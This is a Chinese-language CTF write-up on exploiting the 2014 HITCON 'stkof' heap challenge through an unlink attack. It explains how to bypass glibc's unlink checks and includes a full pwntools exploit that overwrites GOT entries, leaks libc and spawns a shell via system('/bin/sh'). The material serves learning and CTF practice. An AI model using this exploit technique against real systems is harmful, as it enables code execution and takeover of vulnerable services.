-
-
[原创]Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
-
2020-11-24 14:30 7777
-
2014_hitcon_stkof
步骤一:运行查看
- 没有菜单,还是反编译分析吧。
步骤二:查看文件类型和保护机制
- 64位程序
- 开启了Canary和NX,RELRO为Partial RELRO,关闭了PIE。
1 2 3 4 5 | lzx@ubuntu16x64: 2014_hitcon_stkof $ file stkof stkof: ELF 64 - bit LSB executable, x86 - 64 , version 1 (SYSV), dynamically linked, interpreter / lib64 / 23_11 - linux.so. 2 , for GNU / Linux 2.6 . 32 , BuildID[sha1] = 4872b087443d1e52ce720d0a4007b1920f18e7b0 , stripped lzx@ubuntu16x64: 2014_hitcon_stkof $ checksec - - file = stkof RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 3 stkof |
步骤三:IDA反编译分析
- main函数
- create函数:由于在把malloc返回指针放入数组前,会将index先自增1,所以,第1个chunk的index为1。
验证第1个chunk的index为1
- fill函数
- delete函数
- show函数
- 全局数组globals地址为:0x602140。
思路:
- RELRO为Partial RELRO,那么可以改写got表;
- 没有system等后门函数,所以得想办法先泄漏libc,然后调用libc里的system函数;
- 要泄漏?那么我们看看打印和输入的地方有哪些:
- 打印:show函数没有打印堆里的内容,没法leak,所以我们得想办法leak。
- 输入:有一个fill函数,可以往bss段里globals数组中那些指针所指向的地方写。
- 而fill函数中存在堆溢出,可以利用unlink漏洞修改globals数组!程序里有puts函数,所以我们可以把puts函数plt地址放到另一个函数的got表项里,这样,调用这个函数的时候就会去调用puts函数。至于这个函数选哪个,因为puts函数参数是char型指针,所以我们可以选取程序里有的,且参数同样为指针的free/atoi函数。但是如果用atoi函数,那么我们后面就没法用free函数了,因为输入“菜单选项”后就会调用atoi函数,没法继续下去。所以,我们选free函数。
- 下面两图是把puts@plt放入free函数的got表项里。那么这时候调用free(globals[2])的话,就等价于puts(puts@got),会调用puts函数把puts@got的内容打印出来。
- 得到puts函数真实地址后,就可以计算libc基址及system函数地址了,最后把system地址通过fill函数写入atoi@got,把“/bin/sh”当作“菜单选项”输入,就会调用atoi函数,也就是调用system("/bin/sh")以getshell!
通过unlink漏洞把这三个函数got表项地址写入globals数组中。
通过fill函数,往globals[0]指向的地址里写入数据,即往free@got里写入puts@plt。
思路就是上面所说的。那么现在还有个问题。怎么利用unlink修改globals数组?
我们先来回顾一下unlink漏洞
unlink: 当前释放的chunk与前一个或者后一个空闲chunk进行合并时,会先把空闲chunk从bin中移除,移除过程使用unlink宏来实现。
unlink漏洞:若chunk a存在堆溢出漏洞(data内容可控且无输入长度限制)覆盖到chunk b,在chunk a的data处创建fake free chunk,并更改chunk b的结构中的前两个属性,
prev_size
和size
里的P位标志。P位标志置零使上一个chunk a被认为是free chunk,Free(b)时会触发向后合并。
prev_size
被改写,向后合并时会找到fake free chunk。- fake free chunk中的bk和fd内容覆盖可控,触发unlink过程。
unlink安全检查
- 大小检查:
- 绕过方法1:可以通过覆盖修改next chunk的prev_size域来绕过
- 绕过方法2:或者可以在fake chunk后面紧接着再写一个值为fake chunk size的prev_size 来绕过。
12if
(__builtin_expect (chunksize(P) !
=
prev_size (next_chunk(P)),
0
))
malloc_printerr (
"corrupted size vs. prev_size"
);
- 双链表冲突检查:
FD->bk == p && BK->fd == p
,可以通过元素为malloc函数返回指针的数组来进行绕过。
- 大小检查:
1 2 3 4 5 6 7 8 9 10 | / / malloc.c中unlink宏部分源码 FD = P - >fd; BK = P - >bk; if (__builtin_expect (FD - >bk ! = P || BK - >fd ! = P, 0 )) malloc_printerr (check_action, "corrupted double-linked list" , P); else { FD - >bk = BK; BK - >fd = FD; ...... } |
- 然后,本题中,我们可以malloc三个chunk,第一个chunk用于申请缓冲区(程序中没有setbuf函数),后面两个才会是连续的chunk,这个在后面调试中看看。我们溢出第2个chunk,在第2个chunk的user data中伪造free chunk,并修改第3个chunk的prev_size和size里的P位。因为要绕过双链表冲突检查,所以我们要把fake free chunk的fd和bk覆盖成存放malloc返回指针的globals数组的地址。
- 在堆溢出后,进入unlink前,三者相等:
globals[index] == malloc(x) == fake chunk == p
- 根据下面的推导,
fake chunk->fd = &globals[2] - 0x18
,fake chunk->bk = &globals[2] - 0x10
。
- 在堆溢出后,进入unlink前,三者相等:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 根据FD - >bk = = p - >fd - >bk = = p 推导公式如下: fake chunk - >fd - >bk = = fake chunk = > * (fake chunk - >fd + 0x18 ) = = fake chunk = > * (fake chunk - >fd + 0x18 ) = = globals [index] = > (fake chunk - >fd + 0x18 ) = = & globals [index] = > (fake chunk - >fd) = = & globals [index] - 0x18 = > * (fake chunk + 0x10 ) = = & globals [index] - 0x18 同理,根据BK - >fd = = p - >bk - >fd = = p ,推导公式如下: fake chunk - >bk - >fd = = fake chunk = > * (fake chunk - >bk + 0x10 ) = = fake chunk = > * (fake chunk - >bk + 0x10 ) = = globals [index] = > fake chunk - >bk + 0x10 = & globals [index] = > fake chunk - >bk = & globals [index] - 0x10 = > * (fake chunk + 0x10 ) = & globals [index] - 0x10 |
- 堆溢出后,相关内存如下图所示:
- unlink过程和结果如下如所示:
现在思路已经清晰了,按照思路边调试边写exp就OK啦!
我做题的时候突然想到,修改程序流程的时候,我们一直都是改got表项内容,能不能直接改plt表项呢?也就是能不能直接把要跳转的地址覆盖plt表项?(还是想得少)
不能。因为plt节在内存中是属于只读代码段的,没有写权限。比如这题的free函数:
步骤四:调试分析
a. 编写模板和选项函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | from pwn import * from LibcSearcher import LibcSearcher from sys import argv def ret2libc(leak, func, path = ''): if path = = '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump( 'system' ) binsh = base + libc.dump( 'str_bin_sh' ) else : libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym[ 'system' ] binsh = base + libc.search( '/bin/sh' ). next () return (system, binsh) s = lambda data :p.send( str (data)) sa = lambda delim,data :p.sendafter(delim, str (data)) sl = lambda data :p.sendline( str (data)) sla = lambda delim,data :p.sendlineafter(delim, str (data)) r = lambda num = 4096 :p.recv(num) ru = lambda delims, drop = True :p.recvuntil(delims, drop) uu64 = lambda data :u64(data.ljust( 8 , '\0' )) leak = lambda name,addr :log.success( '{} = {:#x}' . format (name, addr)) context.log_level = 'DEBUG' binary = './stkof' context.binary = binary elf = ELF(binary,checksec = False ) p = remote( '127.0.0.1' , 0000 ) if argv[ 1 ] = = 'r' else process(binary) #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) #libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False) libc = ELF( './libc.so.6' ,checksec = False ) def dbg(): gdb.attach(p) # pause() def create(size): sl( 1 ) sl(size) ru( 'OK\n' ) def delete(index): sl( 3 ) sl(index) def fill(index, size, content): sl( 2 ) sl(index) sl(size) s(content) ru( 'OK\n' ) def show(index): # useless sl( 4 ) sl(index) #start # end p.interactive() |
a. 先malloc三个chunk看看,chunk1用于io缓冲区,chunk2和chunk3连续,准备溢出chunk2。
1 2 3 4 5 | # trigger to malloc buffer for io function create( 0x100 ) # idx 1 create( 0x30 ) # idx 2 # small chunk size in order to trigger unlink create( 0x80 ) # idx 3 |
b. 在chunk2 中伪造free chunk,修改chunk3的prev_size和size。
我这里是把fake free chunk的大小伪造成了0x30,也就是chunk2的user data部分大小,然后再修改chunk3的prev_size为0x30来绕过unlink的第一个大小检查。
而ctfwiki中是伪造成0x20,然后紧接在后面又伪造一个只有prev_size域的chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | # a fake chunk at global[2] = global0 + 16 who's size is 0x20 global0 = 0x602140 payload = p64( 0 ) #prev_size payload + = p64( 0x30 ) #size --> except the first line, the rest two line is equal to 0x20? payload + = p64(global0 + 16 - 0x18 ) #fd payload + = p64(global0 + 16 - 0x10 ) #bk #payload += p64(0x20) # next chunk's prev_size bypass the check payload = payload.ljust( 0x30 , 'a' ) # overwrite global[3]'s chunk's prev_size # make it believe that prev chunk is at global[2] payload + = p64( 0x30 ) #0x30 is the fake chunk size # make it believe that prev chunk is free payload + = p64( 0x90 ) fill( 2 , len (payload), payload) |
c. unlink,使得golbal[2] = &(global[2]) - 0x18,那么fill(2)就会从&(global[2]) - 0x18这个地址开始写数据,而且没有长度限制。
1 2 3 | # unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8 delete( 3 ) p.recvuntil( 'OK\n' ) |
d. 将函数free
、puts
,atoi
的got地址写入globals数组中,然后将puts@plt写入free@got中。
1 2 3 4 5 6 | # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got payload = 'a' * 8 + p64(elf.got[ 'free' ]) + p64(elf.got[ 'puts' ]) + p64(elf.got[ 'atoi' ]) fill( 2 , len (payload), payload) # edit free@got to puts@plt payload = p64(elf.plt[ 'puts' ]) fill( 0 , len (payload), payload) |
e. 泄漏puts函数真实地址,然后计算libc、system函数地址。free(global[1]) == puts(puts@got)
1 2 3 4 5 6 7 8 9 10 11 12 | #free global[1] to leak puts addr delete( 1 ) puts_addr = ru( '\nOK\n' ) puts_addr = uu64(puts_addr) leak( 'puts addr: ' ,puts_addr) libc_base = puts_addr - libc.symbols[ 'puts' ] binsh_addr = libc_base + next (libc.search( '/bin/sh' )) system_addr = libc_base + libc.symbols[ 'system' ] leak( 'libc base: ' , libc_base) leak( '/bin/sh addr: ' , binsh_addr) leak( 'system addr: ' ,system_addr) dbg() |
f. 利用fill函数修改atoi@got为system地址
1 2 3 | payload = p64(system_addr) fill( 2 , len (payload), payload) p.send(p64(binsh_addr)) |
关掉调试信息,结果如下图所示,需要从第2次输入shell命令才能正确回显结果。
步骤五:构造Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | from pwn import * from LibcSearcher import LibcSearcher from sys import argv def ret2libc(leak, func, path = ''): if path = = '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump( 'system' ) binsh = base + libc.dump( 'str_bin_sh' ) else : libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym[ 'system' ] binsh = base + libc.search( '/bin/sh' ). next () return (system, binsh) s = lambda data :p.send( str (data)) sa = lambda delim,data :p.sendafter(delim, str (data)) sl = lambda data :p.sendline( str (data)) sla = lambda delim,data :p.sendlineafter(delim, str (data)) r = lambda num = 4096 :p.recv(num) ru = lambda delims, drop = True :p.recvuntil(delims, drop) uu64 = lambda data :u64(data.ljust( 8 , '\0' )) leak = lambda name,addr :log.success( '{} = {:#x}' . format (name, addr)) #context.log_level = 'DEBUG' binary = './stkof' context.binary = binary elf = ELF(binary,checksec = False ) p = remote( '127.0.0.1' , 0000 ) if argv[ 1 ] = = 'r' else process(binary) #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) #libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False) libc = ELF( './libc.so.6' ,checksec = False ) def dbg(): gdb.attach(p) # pause() def create(size): sl( 1 ) sl(size) ru( 'OK\n' ) def delete(index): sl( 3 ) sl(index) def fill(index, size, content): sl( 2 ) sl(index) sl(size) s(content) ru( 'OK\n' ) def show(index): # useless sl( 4 ) sl(index) #start # trigger to malloc buffer for io function create( 0x100 ) # idx 1 create( 0x30 ) # idx 2 # small chunk size in order to trigger unlink create( 0x80 ) # idx 3 #dbg() # a fake chunk at global[2] = global0 + 16 who's size is 0x20 global0 = 0x602140 payload = p64( 0 ) #prev_size payload + = p64( 0x30 ) #size --> except the first line, the rest two line is equal to 0x20? payload + = p64(global0 + 16 - 0x18 ) #fd payload + = p64(global0 + 16 - 0x10 ) #bk #payload += p64(0x20) # next chunk's prev_size bypass the check payload = payload.ljust( 0x30 , 'a' ) # overwrite global[3]'s chunk's prev_size # make it believe that prev chunk is at global[2] payload + = p64( 0x30 ) #0x30 is the front one whole size? # make it believe that prev chunk is free payload + = p64( 0x90 ) fill( 2 , len (payload), payload) #dbg() # unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8 delete( 3 ) p.recvuntil( 'OK\n' ) #dbg() # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got payload = 'a' * 8 + p64(elf.got[ 'free' ]) + p64(elf.got[ 'puts' ]) + p64(elf.got[ 'atoi' ]) fill( 2 , len (payload), payload) # edit free@got to puts@plt payload = p64(elf.plt[ 'puts' ]) fill( 0 , len (payload), payload) #dbg() #free global[1] to leak puts addr delete( 1 ) puts_addr = ru( '\nOK\n' ) puts_addr = uu64(puts_addr) leak( 'puts addr: ' ,puts_addr) libc_base = puts_addr - libc.symbols[ 'puts' ] binsh_addr = libc_base + next (libc.search( '/bin/sh' )) system_addr = libc_base + libc.symbols[ 'system' ] leak( 'libc base: ' , libc_base) leak( '/bin/sh addr: ' , binsh_addr) leak( 'system addr: ' ,system_addr) #dbg() # modify atoi@got to system addr payload = p64(system_addr) fill( 2 , len (payload), payload) p.send(p64(binsh_addr)) # end p.interactive() |
参考文献
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课